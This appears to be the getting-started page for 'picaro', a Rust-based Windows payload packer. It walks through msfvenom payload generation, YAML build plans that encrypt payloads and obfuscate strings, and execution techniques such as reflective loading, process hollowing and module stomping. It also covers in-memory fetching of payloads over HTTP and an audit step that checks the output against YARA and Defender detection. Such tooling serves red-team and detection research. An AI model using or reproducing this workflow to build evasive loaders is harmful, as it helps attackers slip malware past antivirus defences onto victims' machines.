Getting started
This is the whole loop: generate a payload, write the YAML, pack it, run it and measure the result.
Requirements
Section titled “Requirements”rustconPATH— the stub is compiled with barerustc, not cargo. When it is missing the packer stops with instructions.- Workspace dependencies built once (
cargo build --releaseat the repo root), so the stub can link the.rlibfiles undertarget/. - Windows. The stub is built for
arch: x64orarch: x86(the payload must match). On Linux/WSL it cross-compiles to the matching-pc-windows-gnutarget (see How it fits together); to build with no local toolchain use the Docker workflow in the repositoryREADME.md.
1. Generate a payload
Section titled “1. Generate a payload”Any x64 PE image, DLL or raw shellcode blob works. With Metasploit’s msfvenom:
msfvenom -p windows/x64/exec CMD=calc.exe -f exe -o payload.exe # a PE imagemsfvenom -p windows/x64/exec CMD=calc.exe -f raw -o payload.bin # raw shellcodeDo not add an msfvenom encoder (-e): picaro encrypts the payload with
XChaCha20-Poly1305 and obfuscates the stub’s strings, so an extra encoder only
makes the input larger.
2. Write the plan
Section titled “2. Write the plan”A build is one schema-6 YAML document. Strict by design: unknown keys are an error, so a typo never silently does nothing.
PE payload
Section titled “PE payload”schema: 6name: demo
build: crypto: algo: xchacha20poly1305 key: random payloads: implant: source: ./payload.exe format: pe output: path: ./dist/demo.exe arch: x64 strip: true trim_paths: all
runtime: - technique: reflective_loading params: { payload: implant }Raw shellcode
Section titled “Raw shellcode”schema: 6name: demo
build: crypto: algo: xchacha20poly1305 key: random payloads: beacon: source: ./payload.bin format: shellcode output: path: ./dist/demo.exe arch: x64 strip: true trim_paths: all
runtime: - technique: reflective_loading params: { payload: beacon }Save it as payload.yaml. Input and output paths are resolved relative to the
directory you run picaro from (the repo’s examples assume the repo root).
The blocks:
build.crypto— the default encryption for every payload (a payload may override it with its owncryptoblock).build.payloads— the named payloads an Execution step can load;sourceis a local path,file://, or anhttp(s)://URL fetched in memory.build.stub— optional: a custom stub template, the syscall layer and string obfuscation. Omitted here, so the builtin stub and the defaults apply.build.output— where the packed PE lands and how it is finalised.runtime— the ordered steps: Preparation and Control techniques plus the Execution techniques that run the payloads (see Runtime steps).
Choosing the format and the execution technique
Section titled “Choosing the format and the execution technique”build.payloads.<name>.format | Input | Runs with |
|---|---|---|
pe (default) | an executable matching output.arch | reflective_loading, or process_hollowing |
dll | a library matching output.arch | reflective_loading (set export to call a function) |
shellcode | a raw code blob | reflective_loading, or the in-process runners execution_callbacks, module_stomping and fibers |
dotnet | a managed (.NET) assembly | dotnet_hosting (the stub hosts the CLR) |
reflective_loading maps the payload into the packed binary’s own process and
handles the native formats, so it is the safe default. Three lighter in-process
runners take shellcode only and return control to the loader (so they chain in a
runtime: list): execution_callbacks (a legitimate enumeration API invokes
the payload), module_stomping (a signed DLL’s code section is overwritten) and
fibers (the payload runs on a fiber). process_hollowing only
runs format: pe; it runs a full PE (imports, TLS state, entry hand-off) but not
the payload’s TLS callbacks — see
Process hollowing evidence. A managed
assembly is not native code: it needs format: dotnet and the dotnet_hosting
technique, which hosts the CLR in the stub and loads the assembly from memory
(the two imply each other, and the assembly’s bitness must match
output.arch).
3. Build, run and measure
Section titled “3. Build, run and measure”# Validate the plan and the payload without compiling anything:cargo run -- build payload.yaml --dry-run
# Pack it:cargo run -- build payload.yaml-v/--verbose prints the resolved plan and per-step detail; the manifest
(dist/demo.manifest.json) records the artifact, payload and plan hashes.
picaro prints a banner before every subcommand; -q/--quiet skips it.
.\dist\demo.exe # run itcargo run -- audit dist/demo.exe # measure itcargo run -- techniques list # look around the registryaudit reports headers, sections and their entropy, imports/exports, a strings
scan (naming each flagged string and why it matched), YARA and (optionally) an
offline Defender scan.
Rules worth remembering
Section titled “Rules worth remembering”schema: 6is the only accepted version; an older document is rejected with a migration hint.- Unknown keys are an error.
- Only Execution techniques take a
params.payload; with two or more payloads it is required. - A terminal step (
reflective_loadingof a PE executable,dotnet_hosting) must be last. build.output.archisx64orx86, and the payload must match it: the stub and the payload share one address space. Both execution techniques and the preparations supportx86(see x86 support);sleep_obfuscation,syscalls.mode: indirectandapi_resolutionstayx64-only, and anx86pipeline that needs one of them is rejected at validation with a message naming the technique.- Positional CLI args after the plan path are substituted as
$arg.0$,$arg.1$, … (andname=valueas$arg.name$), so one plan can target several hosts.
Where to go next
Section titled “Where to go next”- Plan — every block and field, plus the wizard.
- Examples — the runnable plans.
- Techniques — what each runtime technique does and what it costs.
- Loader features — the stub-level configuration (syscall layer, API resolution, string obfuscation, payload arguments).